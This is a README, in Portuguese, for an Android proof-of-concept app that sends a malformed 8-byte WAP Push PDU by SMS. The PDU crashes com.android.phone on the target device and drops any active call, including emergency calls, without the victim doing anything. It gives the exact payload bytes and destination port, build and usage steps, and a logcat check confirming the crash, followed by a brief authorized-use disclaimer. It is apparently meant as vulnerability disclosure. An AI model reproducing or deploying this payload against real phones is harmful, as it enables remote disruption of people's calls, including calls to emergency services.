
Aplicativo PoC para Android que envia um PDU de WAP Push malformado de 8 bytes via SMS para derrubar remotamente o com.android.phone, descartando silenciosamente as chamadas no aparelho alvo.
Aplicativo Android de prova de conceito que envia um PDU WAP Push malformado de 8 bytes via SMS para um
aparelho alvo. O PDU malformado dispara uma NegativeArraySizeException em
WapPushOverSms.decodeWapPdu, que não é capturada em InboundSmsHandler e encerra o
com.android.phone no dispositivo receptor — derrubando qualquer chamada ativa, incluindo
chamadas de emergência, sem qualquer interação da vítima.
Análise completa: https://smsofdeath.com/
01 06 88 80 80 80 00 BE → enviado como SMS de dados para a porta 2948
./gradlew assembleDebug
Saída: app/build/outputs/apk/debug/app-debug.apk
Requer um Android SDK. Crie o arquivo local.properties com o caminho do seu SDK (o Android Studio
faz isso automaticamente):
sdk.dir=/path/to/Android/sdk
Instale em um dispositivo remetente, insira (ou preencha automaticamente a partir de um SIM ativo) o número alvo, escolha o SIM de envio e toque em SEND CRASH SMS. Observe no alvo:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
Esperado: FATAL EXCEPTION em com.android.phone em cerca de 1–2s e uma mudança de PID para
esse processo, com uma breve perda de sinal.
minSdk 30, targetSdk/compileSdk 35.SEND_SMS, READ_PHONE_NUMBERS, READ_PHONE_STATE.Para pesquisa e testes de segurança autorizados em dispositivos que você possui ou para os quais tem permissão explícita de testar. Não use contra sistemas ou pessoas sem consentimento.